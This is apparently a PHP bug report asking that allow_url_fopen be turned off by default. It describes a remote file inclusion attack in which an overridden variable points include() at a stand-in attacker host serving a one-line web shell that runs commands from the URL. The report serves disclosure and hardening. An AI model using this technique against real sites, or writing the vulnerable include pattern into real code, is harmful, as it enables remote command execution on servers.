From:             [EMAIL PROTECTED]
Operating system: ALL
PHP version:      4.3.0RC3
PHP Bug Type:     Unknown/Other Function
Bug description:  allow_url_fopen is on be default.

PHP by default allows include() calls which contain URL/URI strings.

register_globals=on
include($somevar/file.php); // real site code

exploit by overriding $somevar to http://badsite.evilcode.com 

where file.php is

<?php system($cmd); ?>

This causes the "real site" to execute the $cmd command passed in on the
URL/URI string.

Requesting that allow_url_fopen be set to "Off" for future releases and a
documentation note made about the caveat.
